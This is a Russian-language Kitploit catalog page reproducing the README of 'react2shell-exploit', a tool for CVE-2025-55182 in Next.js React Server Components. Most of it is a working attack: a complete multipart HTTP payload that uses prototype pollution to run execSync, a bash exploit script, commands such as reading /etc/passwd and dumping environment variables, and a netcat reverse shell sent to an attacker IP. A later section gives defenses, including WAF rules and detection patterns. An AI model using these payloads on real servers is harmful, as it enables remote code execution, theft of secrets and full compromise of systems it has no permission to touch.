Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
react2shell-exploit — CVE-2025-55182, также известный как React2Shell, это критическая уязвимость, затрагивающая приложения Next.js, использующие React Server Components (RSC) и Server Actions. | Kitploit
Инструменты/GitHubGitHub/yannisduvignau/react2shell-exploit
ЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182, также известный как React2Shell, это критическая уязвимость, затрагивающая приложения Next.js, использующие React Server Components (RSC) и Server Actions.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
3 месяцев назадЕщё не проверено

CVE-2025-55182 – React2Shell

Удаленное выполнение кода в Next.js

⚠️ Предупреждение: Данная документация предоставлена только для образовательных целей и исследований в области безопасности. Любое несанкционированное использование этих методов против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, противозаконно.


📋 Содержание

  1. Обзор
  2. Как это работает
  3. Установка и настройка
  4. Пошаговая эксплуатация
  5. Результаты и влияние
  6. Методы защиты

Обзор

CVE-2025-55182, также известная как React2Shell, — это критическая уязвимость, затрагивающая приложения Next.js, которые используют:

  • React Server Components (RSC)
  • Server Actions

Почему это опасно?

Атакующий может добиться удаленного выполнения кода (RCE) на сервере, эксплуатируя:

  1. Небезопасную десериализацию полезных нагрузок RSC
  2. Загрязнение прототипа через __proto__ и constructor
  3. Динамические пути выполнения в серверной среде выполнения Next.js

Следствие: Произвольные системные команды могут быть выполнены с привилегиями процесса Node.js.


Как это работает

Этап 1: Протокол RSC Next.js

Next.js использует собственный протокол multipart/form-data для связи между клиентом и сервером:

  • Клиент отправляет React Server Components на сервер
  • Сервер десериализует и обрабатывает их
  • Результат возвращается клиенту
root@kitploit:~
Клиент (Браузер)
    ↓
[Полезная нагрузка RSC в multipart/form-data]
    ↓
Сервер Next.js
    ↓
Десериализация + Выполнение
    ↓
Ответ

Этап 2: Уязвимость — Небезопасная десериализация

Уязвимость существует потому, что:

  1. Данные, контролируемые пользователем, не проверяются перед десериализацией
  2. Доступ к цепочке прототипов разрешен (__proto__, constructor)
  3. Некоторые поля вычисляются динамически во время обработки запроса

Этап 3: Атака загрязнением прототипа

Атакующий может создать полезную нагрузку, которая изменяет внутренние свойства объектов:

root@kitploit:~
{
  "then": "$1:__proto__:then",  // Нацеливается на цепочку прототипов
  "_response": {
    "_prefix": "вредоносный код здесь"  // Внедрение кода
  }
}

Используя __proto__, атакующий загрязняет прототип объектов JavaScript, затрагивая все объекты, которые наследуют от него.

Этап 4: Внедрение кода

Внутри поля _prefix атакующий внедряет код JavaScript, который:

  1. Получает доступ к модулю Node.js через process.mainModule.require()
  2. Загружает модуль child_process
  3. Выполняет системные команды с помощью execSync()
root@kitploit:~
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

Этап 5: Извлечение результата

Результат команды скрывается в ответе об ошибке:

root@kitploit:~
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

Next.js возвращает эту ошибку клиенту, и вывод команды виден в поле digest.


Установка и настройка

Предварительные требования

  • Node.js 20
  • Burp Suite (или аналогичный инструмент для перехвата запросов)
  • curl или Postman (для отправки полезных нагрузок)

Шаг 1: Клонирование и установка уязвимого сервера

root@kitploit:~
# Клонирование PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Установка Node.js 20
nvm install 20
nvm use 20

# Установка зависимостей
cd test-server
npm install

Шаг 2: Запуск сервера

root@kitploit:~
npm run dev

Теперь сервер доступен по адресу:

root@kitploit:~
http://localhost:3000

Шаг 3: Проверка работы сервера

root@kitploit:~
curl http://localhost:3000/

На этом этапе сервер ведет себя нормально.


Пошаговая эксплуатация

Способ 1: Использование Burp Suite (ручной перехват)

Шаг 1: Включение перехвата

  1. Откройте Burp Suite
  2. Перейдите на вкладку Proxy → Intercept
  3. Включите Intercept is on
  4. Откройте в браузере http://localhost:3000/

Шаг 2: Перехват запроса

Будет перехвачен GET-запрос. Отправьте его на вкладку Repeater:

  1. Правый клик → Send to Repeater
  2. Перейдите на вкладку Repeater

Шаг 3: Замена на вредоносную полезную нагрузку

Замените весь запрос следующей полезной нагрузкой:

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Шаг 4: Отправка запроса

Нажмите Send


Способ 2: Автоматизированный скрипт эксплуатации

Создайте файл exploit.sh:

root@kitploit:~
#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Формирование полезной нагрузки
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Замена команды
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Отправка запроса
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

Сделайте его исполняемым:

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

Примеры команд

Список файлов и каталогов

root@kitploit:~
COMMAND="ls -la /"

Получение текущего пользователя

root@kitploit:~
COMMAND="whoami"

Чтение файла

root@kitploit:~
COMMAND="cat /etc/passwd"

Проверка сетевых соединений

root@kitploit:~
COMMAND="netstat -tuln"

Получение переменных окружения

root@kitploit:~
COMMAND="env"

Обратный шелл (полный доступ к серверу)

Для получения полного интерактивного доступа к оболочке используйте обратный шелл.

На машине атакующего: ожидание соединений

root@kitploit:~
ncat -lvnp 9009

Или с помощью netcat:

root@kitploit:~
nc -lvnp 9009

На цели: отправка полезной нагрузки обратного шелла

Измените полезную нагрузку, подставив следующую команду (замените <ATTACKER_IP> на ваш IP-адрес):

root@kitploit:~
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

Полная полезная нагрузка приобретает вид:

root@kitploit:~
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Ожидаемый результат

root@kitploit:~
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Теперь у вас есть полностью интерактивная оболочка на целевом сервере.


Результаты и влияние

Ответ сервера

При успешной эксплуатации:

  1. Сервер отвечает с HTTP 500 Internal Server Error
  2. Тело ответа содержит вывод выполненной системной команды
  3. Вывод встроен в поле digest внутри ответа об ошибке

Пример ответа

root@kitploit:~
Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Потенциальные последствия

  • 🔥 Полное удаленное выполнение кода (RCE)
  • 📂 Полный доступ к файловой системе
  • 🔐 Кража учетных данных и секретов
  • 🚨 Горизонтальное перемещение во внутренних сетях
  • 💥 Полная компрометация сервера
  • 🔗 Атаки на цепочку поставок (если используется для компрометации развернутых приложений)
  • 📊 Утечка и манипуляция данными

Методы защиты

Для системных администраторов

1. Немедленно обновить Next.js

root@kitploit:~
npm install next@latest

Убедитесь, что вы используете исправленную версию Next.js. Ознакомьтесь с официальными уведомлениями безопасности.

2. Строгая валидация полезных нагрузок RSC

Добавьте строгую проверку входящих полезных нагрузок RSC:

root@kitploit:~
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Отклонять подозрительные полезные нагрузки
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Блокировать полезные нагрузки, содержащие опасные шаблоны
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SECURITY] Попытка вредоносной полезной нагрузки с ${request.ip}`);
      return new NextResponse('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

3. Отключить Server Actions, если они не нужны

В next.config.js:

root@kitploit:~
module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Отключить, если не требуется
    }
  }
};

4. Запускать Node.js с минимальными привилегиями

root@kitploit:~
# Создать выделенного пользователя
useradd -r -s /bin/false nextjs

# Запустить службу от имени этого пользователя
sudo -u nextjs node server.js

# Или с помощью systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

5. Изоляция контейнера с ограниченными возможностями

Используйте Docker с ограниченными возможностями:

root@kitploit:~
FROM node:20-alpine

# Создание непривилегированного пользователя
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

Запустите контейнер с ограниченными возможностями:

root@kitploit:~
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

6. Мониторинг подозрительных запросов

Внедрите всестороннее логирование:

root@kitploit:~
// Пользовательское промежуточное ПО для логирования
app.use((req, res, next) => {
  // Логировать все POST-запросы с заголовком Next-Action
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[SECURITY_ALERT] Обнаружена попытка эксплуатации с ${req.ip}`);
      console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
      console.error(`[SECURITY_ALERT] Полезная нагрузка: ${bodyString.substring(0, 500)}`);
      
      // Уведомить службу безопасности
      // sendSecurityAlert(`Попытка эксплуатации с ${req.ip}`);
      
      return res.status(403).json({ error: 'Forbidden' });
    }
  }
  
  next();
});

7. Развертывание веб-брандмауэра (WAF)

Настройте ваш WAF на блокировку:

Правила ModSecurity:

root@kitploit:~
# Блокировать __proto__ в теле запроса
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Атака загрязнением прототипа'"

# Блокировать constructor в теле запроса
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Атака загрязнением прототипа'"

# Блокировать доступ к модулю child_process
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Попытка выполнения кода'"

# Блокировать функцию execSync
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Попытка выполнения кода'"

# Блокировать операторы require()
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Попытка загрузки модуля'"

Пример AWS WAF:

root@kitploit:~
{
  "Name": "BlockRCEAttempts",
  "Rules": [
    {
      "Name": "BlockProtoPollution",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockProtoPollution"
      }
    }
  ]
}

8. Заголовки Content Security Policy (CSP)

Хотя CSP в первую очередь защищает клиентскую сторону, это хорошая практика:

root@kitploit:~
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

9. Регулярные аудиты безопасности

root@kitploit:~
# Сканирование зависимостей на уязвимости
npm audit
npm audit fix

# Использование snyk для непрерывного мониторинга
snyk monitor

# Регулярное тестирование на проникновение
# Планируйте ежеквартальные оценки безопасности

10. План реагирования на инциденты

При подозрении на эксплуатацию:

root@kitploit:~
# 1. Проверить логи на подозрительные шаблоны
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Проверить историю процессов
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Проверить сетевые соединения
netstat -tuln
lsof -i -P -n

# 4. Изолировать затронутую систему
sudo iptables -I INPUT -j DROP

# 5. Сохранить доказательства и логи
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. Уведомить команду безопасности и применить исправления

Техническое погружение

Разбор полезной нагрузки

root@kitploit:~
{
  // Шаг 1: Нацеливание на цепочку прототипов
  "then": "$1:__proto__:then",
  
  // Шаг 2: Пометка как разрешенная модель
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Шаг 3: Внедрение кода через _response
  "_response": {
    // Внедренный код JavaScript
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Ссылка на данные формы
    "_chunks": "$Q2",
    
    // Доступ к constructor через данные формы
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Почему это работает

  1. Разбор multipart: Next.js разбирает multipart/form-data
  2. Разрешение ссылок: Ссылки вида $1 разрешаются в другие поля формы
  3. Восстановление объектов: Объекты восстанавливаются из разобранных данных
  4. Загрязнение прототипа: Путь __proto__ изменяет прототип объекта
  5. Выполнение кода: Поле _prefix вычисляется во время обработки ошибки
  6. Выполнение команды: execSync запускает произвольную команду
  7. Извлечение результата: Вывод встраивается в digest ошибки

Дополнительные ресурсы

  • Исходный PoC: https://github.com/msanft/CVE-2025-55182/
  • Документация Next.js по безопасности: https://nextjs.org/docs/security
  • OWASP Загрязнение прототипа: https://owasp.org/www-community/attacks/Prototype_pollution
  • Рекомендации по безопасности Node.js: https://nodejs.org/en/docs/guides/security/
  • CWE-502: Десериализация недоверенных данных: https://cwe.mitre.org/data/definitions/502.html

Заключение

CVE-2025-55182 (React2Shell) демонстрирует критические риски, связанные с:

✅ Небезопасной десериализацией данных, контролируемых пользователем ✅ Загрязнением прототипа в цепочках прототипов JavaScript ✅ Динамическим выполнением кода без надлежащей проверки

Эта уязвимость подчеркивает важность:

  • 🔒 Проверки входных данных: Никогда не доверяйте пользовательскому вводу
  • 🛡️ Многоуровневой защиты: Используйте несколько слоев защиты
  • ⚠️ Обновления фреймворков: Применяйте исправления безопасности немедленно
  • 🔍 Мониторинга и логирования: Обнаруживайте подозрительное поведение
  • 🔐 Принципа минимальных привилегий: Запускайте службы с минимальными правами
  • 🧪 Регулярного тестирования безопасности: Проводите аудиты и тесты на проникновение

Лицензия: Только для образовательного использования. Несанкционированный доступ к компьютерным системам противозаконен.

Для легитимных исследований безопасности и авторизованного тестирования убедитесь, что у вас есть письменное разрешение от владельца системы перед проведением любых тестов.

Скачать инструмент